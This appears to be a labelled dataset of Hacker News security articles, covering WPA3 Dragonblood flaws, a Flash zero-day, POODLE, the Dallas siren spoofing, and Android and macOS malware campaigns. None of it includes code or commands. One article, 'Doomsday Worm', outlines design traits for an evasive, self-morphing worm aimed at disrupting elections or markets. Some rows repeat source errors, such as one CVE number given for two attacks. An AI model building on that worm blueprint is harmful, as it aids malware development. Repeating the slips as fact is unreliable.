Security Flaws in WPA3 Protocol Let Attackers Hack WiFi Password,https://thehackernews.com/2019/04/wpa3-hack-wifi-password.html,"🔥 Breaking — It has been close to just one year since the launch of next-generation Wi-Fi security standard WPA3 and researchers have unveiled several serious vulnerabilities in the wireless security protocol that could allow attackers to recover the password of the Wi-Fi network.

WPA, or Wi-Fi Protected Access, is a standard designed to authenticate wireless devices using the Advanced Encryption Standard (AES) protocol and is intended to prevent hackers from eavesdropping on your wireless data.

The Wi-Fi Protected Access III (WPA3) protocol was launched in an attempt to address technical shortcomings of the WPA2 protocol from the ground, which has long been considered to be insecure and found vulnerable to KRACK (Key Reinstallation Attack).

Though WPA3 relies on a more secure handshake, known as Dragonfly, that aims to protect Wi-Fi networks against offline dictionary attacks, security researchers Mathy Vanhoef and Eyal Ronen found weaknesses in the early implementation of WPA3-Personal, allowing an attacker to recover WiFi passwords by abusing timing or cache-based side-channel leaks.

""Concretely, attackers can then read information that WPA3 was assumed to safely encrypt. This can be abused to steal sensitive transmitted information such as credit card numbers, passwords, chat messages, emails, and so on,"" the researchers say.

Vulnerabilities in WPA3 — Hacking WiFi Password

In a research paper, dubbed DragonBlood, published today, researchers detailed two types of design flaws in WPA3—first leads to downgrade attacks and second to side-channel leaks.

Also Read: How to Hack WiFi Password Easily Using New Attack On WPA/WPA2.

Since the 15-year-old WPA2 protocol has been widely used by billions of devices, widespread adoption of WPA3 won't happen overnight. To support old devices, WPA3 Certified devices offer a ""transitional mode of operation"" that can be configured to accept connections using both WPA3-SAE and WPA2.

Researchers find that the transitional mode is vulnerable to downgrade attacks, which attackers can abuse to set up a rogue AP that only supports WPA2, forcing WPA3-supported devices to connect using insecure WPA2's 4-way handshake.

""We also discovered a downgrade attack against SAE [Simultaneous Authentication of Equals handshake, commonly known as Dragonfly] itself, where we can force a device into using a weaker elliptic curve than it normally would use,"" the researchers say.

Moreover, a man-in-the-middle position is not needed to carry out downgrade attack. Instead, attackers only need to know the SSID of the WPA3- SAE network.

Researchers also detail two side-channel attacks—Cache-based (CVE-2019-9494) and Timing-based (CVE-2019-9494) attacks—against Dragonfly's password encoding method that could allow attackers to perform a password partitioning attack, similar to an offline dictionary attack, to obtain Wi-Fi password.

""For our password partitioning attack, we need to record several handshakes with different MAC addresses. We can get handshakes with different MAC addresses by targeting multiple clients in the same network (e.g. convince multiple users to download the same malicious application). If we are only able to attack one client, we can set up rogue APs with the same SSID but a spoofed MAC address.""

Besides these, the duo also documented a Denial of Service attack that can be launched by overloading an ""AP by initiating a large amount of handshakes with a WPA3-enabled Access Point,"" bypassing SAE's anti-clogging mechanism that is supposed to prevent DoS attacks.

Some of these vulnerabilities also affect devices using the EAP-pwd (Extensible Authentication Protocol-Password) protocol, which is also based on the Dragonfly password-authenticated key exchange method.

As a proof-of-concept, researchers has released following four separate tools on GitHub that can be used replicate the results in they published in the paper.

Dragondrain—a tool that can test to which extend an Access Point is vulnerable to Dos attacks against WPA3's Dragonfly handshake.
Dragontime—an experimental tool to perform timing attacks against the Dragonfly handshake.
Dragonforce—an experimental tool that takes the information to recover from the timing attacks and performs a password partitioning attack.
Dragonslayer—a tool that implements attacks against EAP-pwd.

""Don't expect to be able to use this to attack WPA3. Attacks are non-trivial in practice,"" the researcher mentioned. ""The downgrade attacks are practical for non-researchers to abuse. The EAP-pwd attacks (dragonslayer) is practical too.""

""Nearly all of our attacks are against SAE's password encoding method, i.e., against its hash-to-group and hash-to-curve algorithm. Interestingly, a simple change to this algorithm would have prevented most of our attacks,"" the researchers say.

Wi-Fi Alliance Working With Vendors to Patch Reported Issues

The duo reported their findings to the WiFi Alliance, the non-profit organization that certifies WiFi standards and Wi-Fi products for conformity, who acknowledged the issues and are working with vendors to patch existing WPA3-certified devices.

""The software updates do not require any changes that affect interoperability between Wi-Fi devices. Users can refer to their device vendors' websites for more information,"" the WiFi Alliance says in its press release.

""The software updates do not require any changes that affect interoperability between Wi-Fi devices. Users can expect all their Wi-Fi devices, whether patched or unpatched, to continue working well together.""

You can read more information about these vulnerabilities on the DragonBlood dedicated website, and the research paper [PDF], which also explains how minor changes to the protocol could prevent most of the attacks detailed by the researchers.

",Vulnerability
A Doomsday Worm - The Sputnik of 2011,https://thehackernews.com/2011/11/doomsday-worm-sputnik-of-2011.html,"We had an Interesting Article by ""Paul F Renda"" in our The Hacker News Magazine's November Edition. We would Like to share this article with our website readers also. You can Download November Issue Here.


This is a theoretical prima to bring out a discussion about whether an Internet doomsday worm can be created that is so intractable that it cannot be eradicated. This worm could also have the ability to carry multiple weaponized payloads.

Can a doomsday worm shut down the Internet? I don't think anyone could shut down the Internet but I believe a worm can definitely create access problems. An intractable type of malware agent is not an abstract concept or science fiction.

A doomsday like virus has been plaguing the U.S.Drone fleet. They keep trying to disinfect their hard drives but it keeps coming back. The Pentagon has been plagued by the worm agent.btz; they are still trying to remove it after 3 years. Some analyst think agent.btz was created by China. The Drone's highly secure pc's and networks are not connected to the internet. The infection was introduced by mobile media like zip drives and cds. Let's put together the best aspects of worms and biological infectious agents.

The AIDS virus has confounded medical science for number of years. It seems to be one of the most successful viruses in modern history. From the article ""Why Diseases Such As AIDS Are So Successful and So Deadly:"" ""Cell-to-cell transmission is a thousand times more efficient, which is why diseases such as AIDS are so successful and so deadly,"" writes Mothes. ""And because the retroviruses are already in cells, they are out of reach of the immune system.""

The statement, ""Cell-to-cell transmission is a thousand times more efficient"" is the best analogy to social networking sites that have the greatest transmission throughput.

On the second line, ""They are out of the reach of the immune system,"" compares if you take a corporation with 1,000 nodes that are infected it's easy for data security to push down a solution and remove the worm. The PCs that are actually outside the immune system are almost always home PCs, iPods, Android phones, and small network PC groups.

What else can we learn about a biological model? If you walked into the middle of crowded room and asked if anyone knew Mary Mallon or Gaetan Dugas, you'd probably have a lot blank stares. Gaetan Dugas was the AIDS patient zero, and Mary Malone was the infamous Typhoid Mary. They share some similarities that helped them to infect a lot of people. They appeared healthy and did not have any outward signs of any health issues. The gestation period for AIDS was more than 10 years and Dugas infected a lot of men during that time. Mary Mallon was a cook. She handled food and utensils, and at one time, she worked in a hospital. Mary she was a carrier of typhoid but did not get sick. Some of these ideas could build a good model for a worm.

With the above and what I know of malware, let's build a model:
It would have to operate in the noise level of the Internet.
It would have to behave as a WebCrawler or spider to stay off of the radar of malware companies.
It would have to infect its hosts with minimal discomfort; that is, minimally slow them down or it make it appear as if it was not a type of malware that somebody would want take the effort to remove.
It would have to infect very slowly.
It would have to be self-aware—it would have to recognize itself trying to re-infect a host.
A model would have to be built for it to judge how its growth rate would have to be modulated.
AIDS had a gestation of up to 10 years. A gestation time on the Internet of only one year would be an incredibly long time.
The worm would have to be modular enough to take different payloads.
It would have to try to just infect home PCs. Home PCs have been deluged with strange malware and bogus antivirus pop-up ads. Recently, Microsoft tried to issue a malware solution. This antimalware flagged Goggle Chrome as a Trojan, and actually removed Goggle Chrome from a number of PCs.
It may also contain code to write to places on hard drives that are normally inaccessible to antimalware programs.
It would have to self morph, it would have to evolve.
Be able to present different signatures to antimalware.
It would have to be able to target specific IP addresses.
It would have to reach a certain critical mass before reveling itself.
What kind of weapon would this doomsday worm be ?
Depending on payload, it can have multiple objectives. For example ,it can be a psychological, financial or political weapon. Today people are addicted to the internet for face book and other social sites. People denied their daily internet fix would be more anxious and depressed. As a political tool it can slow down the internet right before an election. The incumbent party will receive most of the blame. Today many people use the internet for their financial transactions. Selling stock transferring money etc. any disruption on the information super highway. Slowing down the internet during financial market volatility can have very negative affect.

A country that gets the first doomsday worm on the internet has won the equivalent to space race. Having a doomsdays worm can be the equivalent to the 1957 Sputnik launch.

I got the idea for a doomsday worm from a Chinese hacker website. I don't speak Chinese, so I had to use Google Translate, and as they say sometimes things get lost in the translation.

",Malware
Adobe Issues Patch for Actively Exploited Flash Player Zero-Day Exploit,https://thehackernews.com/2018/06/flash-player-zero-day-exploit.html,"If you have already uninstalled Flash player, well done! But if you haven't, here's another great reason for ditching it.

Adobe has released a security patch update for a critical vulnerability in its Flash Player software that is actively being exploited in the wild by hackers in targeted attacks against Windows users.

Independently discovered last week by several security firms—including ICEBRG, Qihoo 360 and Tencent—the Adobe Flash player zero-day attacks have primarily been targeting users in the Middle East using a specially crafted Excel spreadsheet.

""The hackers carefully constructed an Office document that remotely loaded Flash vulnerability. When the document was opened, all the exploit code and malicious payload were delivered through remote servers,"" Qihoo 360 published vulnerability analysis in a blog post.

The stack-based buffer overflow vulnerability, tracked as CVE-2018-5002, impacts Adobe Flash Player 29.0.0.171 and earlier versions on Windows, MacOS, and Linux, as well as Adobe Flash Player for Google Chrome, and can be exploited to achieve arbitrary code execution on targeted systems.
The vulnerability resides in the interpreter code of the Flash Player that handles static-init methods, which fails to correctly handle the exceptions for try/catch statements.

""Because Flash assumes that it is impossible to execute to the catch block when processing the try catch statement, it does not check the bytecode in the catch block,"" the researchers explain. ""The attacker uses the getlocal, setlocal instruction in the catch block to read and write arbitrary addresses on the stack.""

The registration date for a web domain, mimicking a job search website in the Middle East, used as the command and control (C&C) server for zero-day attacks suggests that hackers have been making preparations for the attack since February.

Besides the patch for CVE-2018-5002, Adobe also rolled out security updates for two ""important"" vulnerabilities—including Integer Overflow bug (CVE-2018-5000) and an Out-of-bounds read issue (CVE-2018-5001)—both of which lead to information disclosure.

So, users are highly recommended to immediately update their Adobe Flash Player to versions 30.0.0.113 via their update mechanism within the software or by visiting the Adobe Flash Player Download Center.

",Cyber_Attack
Design Flaws Make Drones Vulnerable to Cyber-Attacks,https://thehackernews.com/2015/10/drone-hacking.html,"In the past, The Hacker News (THN) reported about various activities surrounding Drones. Whether it was the development of the first backdoor for drones (MalDrone), or Weaponized drones getting legal, or Drones hacking smartphones.

And now the reports depict...

Security Researcher has showcased a method that can be used to hack and hijack Unmanned Aerial Vehicles (UAVs), more commonly known as DRONES.

Senior AV researcher at HP Security Research Oleg Petrovsky demonstrated scenarios of cyber attacks targeting the flight controller of drones with analysis explaining how drones could become victims of cyber attacks.

Petrovsky has analyzed configurations and controllers for various popular multi-rotor unmanned aerial vehicles (UAVs) to discover the weaknesses present in the already implemented cyber attacks.

The research focuses on the flight controllers which is a microprocessor and comprises of:
Input/Output Pins
Multiple sensors onboard
An accelerometer
Gyroscope
Barometer
Compass
GPS
The flight controller of a Drone handles data processing, calculations, and signals and is also known as its ""Brain.""

However, technology that Petrovsky has utilized is:
ArduPilotMega (APM) flight controller fitted on a drone he built himself.
Mission Planner, a full-featured ground station application.
Other than APM, the researcher points out that this design flaw is meant for other flight controller systems as well.

The two attack scenarios which the researcher has demonstrated on drones with pre-programmed routes are:
Capturing, modifying, and injecting a data stream into a telemetry link connection over a serial port.
Spoofing the connection to the ground station to take complete control of the interface.
The ground station application enables communication with the Drone, which allows the user to wirelessly control the vehicles in the real time.

Insecure Protocols Led to Installation of Malware

Therefore, the researcher said protocols implemented are not secure and allow an attacker to install malicious software on the system running the ground station.

Also, Telemetry feeds for wireless remote data transmission, and monitoring of the vehicle could be intercepted and flight route of the Drone are shown a different path.

Researcher's experiments only targeted drones that fly pre-programmed routes, UAVs specifically used in product delivery systems (such as mail, medical tests and food).

Design Flaws in Drones

While discussing the cyber attacks on Drones, Petrovsky emphasized that those attacks are happening not because of actual vulnerability in the system, rather because there are design flaws in the UAV systems.
Further he added, ""Securing the firmware on embedded UAV modules, using secure bootloaders, and implementing authentication and encryption mechanisms,"" could be some points that...
...an attacker can bypass any security measures, as nothing can be completely secured; similarly ""Drones don't necessarily have to be unhackable the goal should be to make them difficult and expensive to hack.""
Petrovsky also warned about the security concerning Drones by analyzing their development and usage commercially.

During his presentation, he also displayed:
How propellers of his Drone can easily shred a stack of papers even at half of the speed needed to take off from the ground.
Attacks against bootloaders, which are often not locked to signed firmware.
Petrovsky presented his research at the Virus Bulletin conference in Prague.

Though, the complete research paper is yet to be published on Virus Bulletin's Website. Meanwhile, you can go through the abstract posted by the researcher.

",Vulnerability
Microsoft Vulnerability in Bluetooth Stack Could Allow Remote Code Execution,https://thehackernews.com/2011/07/microsoft-vulnerability-in-bluetooth.html,"Microsoft Vulnerability in Bluetooth Stack Could Allow Remote Code Execution

The single Critical vulnerability in today's batch of security updates addresses an issue in the Bluetooth stack. Your workstations' risk to this vulnerability varies, depending on a number of factors. I'd like to use this blog post to outline those risk factors.


This security update resolves a privately reported vulnerability in the Windows Bluetooth Stack. The vulnerability could allow remote code execution if an attacker sent a series of specially crafted Bluetooth packets to an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. This vulnerability only affects systems with Bluetooth capability.
This security update is rated Critical for all supported editions of Windows Vista and Windows 7. For more information, see the subsection, Affected and Non-Affected Software, in this section.

The security update addresses the vulnerability by modifying the way that the Windows Bluetooth Stack handles objects in memory. For more information about the vulnerability, see the Frequently Asked Questions (FAQ) subsection for the specific vulnerability entry under the next section, Vulnerability Information.

Affected Software/Operating System :
Windows Vista Service Pack 1 , Windows Vista Service Pack 2 , Windows Vista x64 Edition Service Pack 1 , Windows Vista x64 Edition Service Pack 2 , Windows 7 for 32-bit Systems and Windows 7 for 32-bit Systems Service Pack 1 , Windows 7 for x64-based Systems and Windows 7 for x64-based Systems Service Pack 1

Read More at https://www.microsoft.com
",Vulnerability
Android Malware found on Google Play Store mines Cryptocurrencies,https://thehackernews.com/2014/03/android-malware-found-on-google-play.html,"Cyber criminals are more business-minded than you might expect. As the business has moved to greater use of mobile and non-Windows computers, so cyber criminals have adapted techniques monetize their efforts.

Security researchers at Lookout Mobile Security discovered that various apps uploaded to Google Play Store containing hidden Coinkrypt android malware, that can turn your mobile device into crypto-currency miners.

As we know, coin mining is the key component for digital currencies, so the malware uses a botnet of infected Android Smartphones to mine for currency. Such malware does not steal data. Instead, they are capable of mining Bitcoin, Litecoin and Dogecoin using the victim's device.

""Mining can be incredibly resource-intensive and, if allowed to run without any limits, could potentially damage hardware by causing it to overheat and even burn out."" researchers said.

The Antivirus firm Trend Micro also spotted two apps named - 'Songs' and 'Prized - Real Rewards and Prizes' on Google plat store, infecting users with ANDROIDOS_KAGECOIN.HBT Dogecoin mining malware and already having more than one million installs.
Both malicious apps are available as free downloads for devices running Android 2.2 or later, but they were not created by the same developer. According to researchers, these malware apps will only mine when the infected device is charging.

The Smartphone's hardware is not powerful enough to mine crypto-currencies. It's not exactly a get-rich-quick scheme, so the hackers are targeting low digital currencies like Dogecoin or Litecoin i.e. easy-to-mine.

""Users with phones and tablets that are suddenly charging slowly, running hot, or quickly running out of batteries may want to consider if they have been exposed to this or similar threats,"" antivirus firm suggested.

Make sure you have unchecked app installation from 'Unknown sources' to prevent dropped or drive-by-download malicious app installs.

",Malware
POODLE SSL 3.0 Attack Exploits Widely-used Web Encryption Standard,https://thehackernews.com/2014/10/poodle-ssl-30-attack-exploits-widely_14.html,"Another Heartbleed-like vulnerability has been discovered in the decade old but still widely used Secure Sockets Layer (SSL) 3.0 cryptographic protocol that could allow an attacker to decrypt contents of encrypted connections to websites.

Google's Security Team revealed on Tuesday that the most widely used web encryption standard SSL 3.0 has a major security vulnerability that could be exploited to steal sensitive data. The flaw affects any product that follows the Secure layer version 3, including Chrome, Firefox, and Internet Explorer.

Researchers dubbed the attack as ""POODLE,"" stands for Padding Oracle On Downgraded Legacy Encryption, which allows an attacker to perform a man-in-the-middle attack in order to decrypt HTTP cookies. The POODLE attack can force a connection to ""fallback"" to SSL 3.0, where it is then possible to steal cookies, which are meant to store personal data, website preferences or even passwords.

Three Google security engineers - Bodo Möller, along with fellow researchers Thai Duong and Krzysztof Kotowicz - have uncovered this new security hole in widely used SSL 3.0 that makes the 15-year-old protocol nearly impossible to use safely.
""This vulnerability allows the plaintext of secure connections to be calculated by a network attacker,"" Bodo Möller, of the Google Security Team, wrote in a blog post today. ""I discovered this issue in collaboration with Thai Duong and Krzysztof Kotowicz (also Googlers).""
POODLE (PDF) is really a critical threat because it is used by both websites and Web browsers and will remain critical as long as SSL 3.0 is supported. Therefore, both websites and Web browsers must be reconfigured to prevent using SSL 3.0.

While SSL 3.0 is not anymore the most advanced form of Web encryption standard in use, Möller explained Web browsers and secure HTTP servers still need it in case they encounter errors in Transport Layer Security (TLS), SSL's more modern, less vulnerable layer of security.
""If a client and server both support a version of TLS, the security level offered by SSL 3.0 is still relevant since many clients implement a protocol downgrade dance to work around serve ­side interoperability bugs.""
To protect against the POODLE attack, there is nothing an end user can do, same like with the case of Heartbleed and Shellshock. But, companies across the world will be releasing patches to their servers and embedded devices disallowing use of SSl 3.0.

Google discovered the vulnerability a month ago in September, just a few months after the Heartbleed incident brought SSL into the spotlight, and before publicly disclosing the details on the new issue today, the search engine giant alerted software and hardware vendors.

Until the issue is fixed, the trio recommended disabling SSL 3.0 on servers and in clients. For end users, if your browser supports SSL 3.0, you are advised to disable its support or better use tools that support TLS_FALLBACK_SCSV (Transport Layer Security Signalling Cipher Suite Value), it prevents downgrade attacks.

POODLE is a vulnerability lying within the codes of SSL, which is why it affects the widely used browsers. In response to the issue, Google has announced that it is scrubbing SSL 3.0 support from Chrome browser and will soon remove SSL 3.0 support completely from all its products in the coming months.

Mozilla on its part has also announced that it plans to turn off SSL 3.0 in Firefox. ""SSLv3 will be disabled by default in Firefox 34,"" which the company will release next month. The code to disable the protocol will be available tonight via Nightly.

",Vulnerability
Here's How Hacker Activated All Dallas Emergency Sirens On Friday Night,https://thehackernews.com/2017/04/emergency-tornado-siren-hack.html,"Last weekend when outdoor emergency sirens in Dallas cried loudly for over 90 minutes, many researchers concluded that some hackers hijacked the alarm system by exploiting an issue in a vulnerable computer network.

But it turns out that the hackers did not breach Dallas' emergency services computer systems to trigger the city's outdoor sirens for tornado warnings and other emergencies, rather they did it entirely on radio.

According to a statement issued on Monday, Dallas City Manager T.C. Broadnax clarified the cause of the last Friday's chaos, saying the ""hack"" used a radio signal that spoofed the system used to control the siren network centrally.
""I don't want someone to understand how it was done so that they could try to do it again,"" Broadnax said without going much into details. ""It was not a system software issue; it was a radio issue.""
First installed in 2007, the Dallas outdoor emergency warning system powers 156 sirens made by a company called Federal Signal.

The city officials did not provide details on how the Emergency Alert System (EAS) works, but noted that ""it's a tonal-type system"" that's usually controlled by tone combinations used by the EAS broadcast over the National Weather Service's weather radio, and by Dual-Tone Multi-Frequency (DTMF) or Audio Frequency Shift Keying (AFSK) encoded commands from a command center terminal sent over an emergency radio frequency.

The Federal Communications Commission (FCC) currently has the 700MHz range of radio frequency reserved for US public safety.

This suggests that the emergency system could be compromised by outside radio equipment replicating the tonal code required to trigger the alarms — which, in other words, is known as a ""radio replay"" attack.

It is believed that the hacker who managed to trigger alarm last Friday somehow managed to gain access to the siren system documentation to know the exact tonal commands that trigger an alarm, and then just played that command signal repeatedly.

According to the city officials, the decade-old radio-based system was disabled hours after the breach and went live over the weekend with encryption to protect the language of tones as a measure to prevent such attacks.

The Dallas City Council has also voted to pay $100,000 more to its emergency siren system contractor to increase the security of the city's current system.

",Cyber_Attack
New MacOS Malware linked to Russian Hackers Can Steal Passwords & iPhone Backups,https://thehackernews.com/2017/02/xagent-malware-apt28.html,"Security researchers have discovered a new Mac malware allegedly developed by APT28 Russian cyber espionage group who is believed to be responsible for 2016 presidential election hacking scandal.

A new variant of the X-Agent spyware is now targeting Apple macOS system that has previously been used in cyber attacks against Windows, iOS, Android, and Linux devices.

The malware is designed to steal web browser passwords, take screenshots of the display, detect system configurations, execute files and exfiltrate iPhone backups stored on the computer.

The X-Agent malware is tied to Russian hacking group known as APT28 — also known as Fancy Bear, Sofacy, Sednit, and Pawn Storm — that has been operating since at least 2007 and is allegedly linked to the Russian government.
""Our past analysis of samples known to be linked to APT28 group shows a number of similarities between the Sofacy/APT28/Sednit Xagent component for Windows/Linux and the Mac OS binary that currently forms the object of our investigation,"" Bitdefender reported in a blog post published Tuesday.
""For once, there is the presence of similar modules, such as FileSystem, KeyLogger, and RemoteShell, as well as a similar network module called HttpChanel.""
Like variants for other platforms, the Mac version of X-Agent spyware is also act as a backdoor with advanced cyber-espionage capabilities that can be customized depending on the objectives of an attack.
Moreover, X-Agent is being planted by exploiting a vulnerability in the MacKeeper software installed on the targeted computers and known malware dropper Komplex — a first-stage trojan that APT28 uses to infect machines.

Abovementioned evidence indicates that the newly discovered Mac version of X-Agent is also created by the same Russian hacking group.

Once successfully installed, the backdoor checks for the presence of a debugger and if it finds one, it terminates itself to prevent execution. But if not, the backdoor waits for an Internet connection to communicate with the command-and-control servers.
""After the communication has been established, the payload starts the modules. Our preliminary analysis shows most of the C&C URLs impersonate Apple domains,"" Bitdefender researchers said.
""Once connected to the C&C, the payload sends a HelloMessage, then spawns two communication threads running in infinite loops. The former uses POST requests to send information to the C&C, while the latter monitors GET requests for commands.""
The Research is still ongoing and Bitdefender security researchers right now only have the Mac malware sample and not a full picture of how an attack works.

APT28 is one of the two Russian-linked cyber-espionage groups that have been accused of hacking into the U.S. Democratic National Committee's email server last year and interfering with the 2016 presidential election.

You can read BitDefender's previous analysis on the APT28 hacking group here [PDF].

",Cyber_Attack
Critical Flaws Reported in Philips Vue PACS Medical Imaging Systems,https://thehackernews.com/2021/07/critical-flaws-reported-in-philips-vue.html,"Multiple security vulnerabilities have been disclosed in Philips Clinical Collaboration Platform Portal (aka Vue PACS), some of which could be exploited by an adversary to take control of an affected system.
""Successful exploitation of these vulnerabilities could allow an unauthorized person or process to eavesdrop, view or modify data, gain system access, perform code execution, install unauthorized software, or affect system data integrity in such a way as to negatively impact the confidentiality, integrity, or availability of the system,"" the U.S. Cybersecurity and Infrastructure Security Agency (CISA) noted in an advisory.
The 15 flaws impact:
VUE Picture Archiving and Communication Systems (versions 12.2.x.x and prior),
Vue MyVue (versions 12.2.x.x and prior),
Vue Speech (versions 12.2.x.x and prior), and
Vue Motion (versions 12.2.1.5 and prior)
Four of the issues (CVE-2020-1938, CVE-2018-12326, CVE-2018-11218, CVE-2020-4670, and CVE-2018-8014) have been given a Common Vulnerability Scoring System (CVSS) base score of 9.8, and concern improper validation of input data as well as vulnerabilities introduced by flaws previously patched in Redis.
Another serious flaw (CVE-2021-33020, CVSS score: 8.2) is caused by the Vue platform's use of cryptographic keys beyond their established expiration date, ""which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.""
Other weaknesses involve the use of a broken or risky cryptographic algorithm (CVE-2021-33018), a cross-site scripting attack when handling user-controllable input (CVE-2015-9251), insecure methods to protect authentication credentials (CVE-2021-33024), improper or incorrect initialization of resources (CVE-2018-8014), and a failure to follow coding standards (CVE-2021-27501) that could increase the severity of the other vulnerabilities.
While Philips has addressed some of the shortcomings as part of its updates shipped in June 2020 and May 2021, the Dutch healthcare company is expected to patch the rest of the security issues in version 15 of Speech, MyVue, and PACS that's currently in development and set for release in Q1 2022.
In the interim, CISA is urging entities to minimize network exposure for all control system devices and ensure that they are not accessible from the Internet, segment control system networks and remote devices behind firewalls, and use virtual private networks (VPNs) for secure remote access.

",Vulnerability
New Stealthy Rootkit Infiltrated Networks of High-Profile Organizations,https://thehackernews.com/2021/05/new-stealthy-rootkit-infiltrated.html,"An unknown threat actor with the capabilities to evolve and tailor its toolset to target environments infiltrated high-profile organizations in Asia and Africa with an evasive Windows rootkit since at least 2018.
Called 'Moriya,' the malware is a ""passive backdoor which allows attackers to inspect all incoming traffic to the infected machine, filter out packets that are marked as designated for the malware and respond to them,"" said Kaspersky researchers Mark Lechtik and Giampaolo Dedola in a Thursday deep-dive.
The Russian cybersecurity firm termed the ongoing espionage campaign 'TunnelSnake.' Based on telemetry analysis, less than 10 victims around the world have been targeted to date, with the most prominent targets being two large diplomatic entities in Southeast Asia and Africa. All the other victims were located in South Asia.
The first reports of Moriya emerged last November when Kaspersky said it discovered the stealthy implant in the networks of regional inter-governmental organizations in Asia and Africa. Malicious activity associated with the operation is said to have dated back to November 2019, with the rootkit persisting in the victim networks for several months following the initial infection.
""This tool was used to control public facing servers in those organizations by establishing a covert channel with a C2 server and passing shell commands and their outputs to the C2,"" the company said in its APT trends report for Q3 2020. ""This capability is facilitated using a Windows kernel mode driver.""
Rootkits are particularly dangerous as they allow attackers to gain high privileges in the system, enabling them to intercept core input/output operations conducted by the underlying operating system and better blend with the landscape, thus making it difficult to trace the attacker's digital footprints.
Microsoft, for its part, has implemented several protections into Windows over the years to prevent successful deployment and execution of rootkits, which makes Moriya all the more noteworthy.
Bulk of the toolset, apart from the backdoor, consists of both proprietary and well-known pieces of malware such as China Chopper web shell, BOUNCER, Earthworm, and Termite that have been previously used by Chinese-speaking threat actors, giving an insight into the attacker's origins. The tactics, techniques, and procedures (TTPs) used in the attacks also show that the targeted entities fit the victimology pattern associated with Chinese-speaking adversaries.
The revelations come as advanced persistent threats (APTs) continue to ramp up highly-targeted data-stealing missions, while simultaneously going to great lengths to stay under the radar for as long as possible, rebuild their malware arsenal, making them more tailored, complex, and harder to detect.
""The TunnelSnake campaign demonstrates the activity of a sophisticated actor that invests significant resources in designing an evasive toolset and infiltrating networks of high-profile organizations,"" Lechtik and Dedola said. ""By leveraging Windows drivers, covert communications channels and proprietary malware, the group behind it maintains a considerable level of stealth.""

",Cyber_Attack
Data Wiper Malware Disguised As Ransomware Targets Israeli Entities,https://thehackernews.com/2021/05/data-wiper-malware-disguised-as.html,"Researchers on Tuesday disclosed a new espionage campaign that resorts to destructive data-wiping attacks targeting Israeli entities at least since December 2020 that camouflage the malicious activity as ransomware extortions.
Cybersecurity firm SentinelOne attributed the attacks to a nation-state actor affiliated with Iran it tracks under the moniker ""Agrius.""
""An analysis of what at first sight appeared to be a ransomware attack revealed new variants of wipers that were deployed in a set of destructive attacks against Israeli targets,"" the researchers said. ""The operators behind the attacks intentionally masked their activity as ransomware attacks, an uncommon behavior for financially motivated groups.""
The group's modus operandi involves deploying a custom .NET malware called Apostle that has evolved to become a fully functional ransomware, supplanting its prior wiper capabilities, while some of the attacks have been carried out using a second wiper named DEADWOOD (aka Detbosit) after a logic flaw in early versions of Apostle prevented data from being erased.
In addition, the Agrius actors drop a .NET implant called IPsec Helper that can be used to exfiltrate data or deploy additional malware. What's more, the threat actor's tactics have also witnessed a shift from espionage to demanding ransoms from its victims to recover access to encrypted data, only to have them actually destroyed in a wiping attack.
Besides using ProtonVPN for anonymization, the Agrius attack cycle leverages 1-day vulnerabilities in web-based applications, including CVE-2018-13379, to gain an initial foothold and subsequently deliver ASPXSpy web shells to maintain remote access to compromised systems and run arbitrary commands.
If anything, the research adds to evidence that state-sponsored actors with ties to the Iranian government are increasingly looking at ransomware operations as a subterfuge technique to mimic other financially motivated cybercriminal ransomware groups.
Recently leaked documents by Lab Dookhtegan revealed an initiative called ""Project Signal'' that linked Iran's Islamic Revolutionary Guard Corps to a ransomware operation through a contracting company.
""While being disruptive and effective, ransomware activities provide deniability, allowing states to send a message without taking direct blame,"" the researchers said. ""Similar strategies have been used with devastating effect by other nation-state sponsored actors.""

",Malware
This Android Malware Can Root Your Device And Erase Everything,https://thehackernews.com/2016/02/hack-android-malware.html,"A new Android malware has been making waves recently that have the capability to gain root access on your smartphone and completely erase your phone's storage.

Dubbed Mazar BOT, the serious malware program is loaded with so many hidden capabilities that security researchers are calling it a dangerous malware that can turn your smartphone into a zombie inside hacker's botnet.

Mazar BOT was discovered by Heimdal Security while the researchers at the firm were analyzing an SMS message sent to random mobile numbers and locations.

How Mazar BOT Works

Despite other Android malware that distributes itself by tricking users into installing an app from third-party app stores, Mazar spreads via a spam SMS or MMS messages that carry a link to a malicious APK (Android app file).

Once the user clicks the given link, he/she'll be ending up downloading the APK file on their Android devices, which when run, prompts the user to install a new application.

This new Android app has a generic name, MMS Messaging, that asks for admin level privileges. Most of the users end up giving the root access to the malicious app due to its common name.

What Makes Mazar BOT So Nasty

Once gaining root access on the victim's device, Mazar BOT can do variety of nasty stuff on your Android devices, like:
Gain boot persistence to help survive device restarts
Send and Read your SMS messages
Make Calls to your contacts
Read the phone's state
Plague phone's control keys
Infect your Chrome browser
Change phone settings
Force the phone into sleep mode
Query the network status
Access the Internet
Wipe your device's storage (the most critical capabilities of all)

Mazar BOT Browses Internet Anonymously Using TOR

Besides these tasks, Mazar BOT can also download a legitimate TOR (The Onion Router) Android app on your smartphone and install it too, even without your consent or permission.

Using TOR app, the malware would be able to surf the Internet anonymously via the Tor network.

Once the malware installs TOR on victim's phone, Mazar BOT sends a ""Thank you"" message to an Iranian phone number (9876543210), along with the device's location.

In some instances, Mazar BOT also installs an Android app called Polipo Proxy that establishes a proxy on the device, allowing the malware's author to spy on victim's Web traffic and carry out Man-in-the-Middle (MitM) attacks.

Who is Behind This Awful Malware?

Mazar BOT is believed to be distributed by a Russia-based group of cyber-criminals.

One clue to this assumption is: Mazar BOT cannot be installed on Android smartphones in Russia, as its source code includes instructions on how to stop the malware installation process on phone configured with the Russian language.

Another clue is: There is an unwritten law in Russia that says ""if cyber criminals don't go after Russians, Russian authorities will not go after them."" Moreover, there is no such indication yet that this Mazar BOT campaign has affected anyone in Russia.

Until now, Mazar BOT for Android has been advertised for sale on several Russian underground (Dark Web) forums, but this is the first time this creepy code has been abused in active attacks.

How to Protect Yourself from Mazar BOT

There are standard protection measures you need to follow to remain unaffected:

NEVER click on links in SMS or MMS messages sent to your phone.
Go to Settings → Security → Turn OFF ""Allow installation of apps from sources other than the Play Store"" option.
Always keep an up-to-date Anti-virus app on your Android devices.
Avoid unknown and unsecured Wi-Fi hotspots and Keep your Wi-Fi turned OFF when not in use.

",Malware
DUQU – Another Stuxnet in the Making ?,https://thehackernews.com/2011/11/duqu-another-stuxnet-in-making.html,"DUQU – Another Stuxnet in the Making ?


Article by : Nidhi Rastogi is a Cyber security professional based in New York. Article shared from THE HACKER NEWS magazine - November Edition. You can download Complete Magazine here.


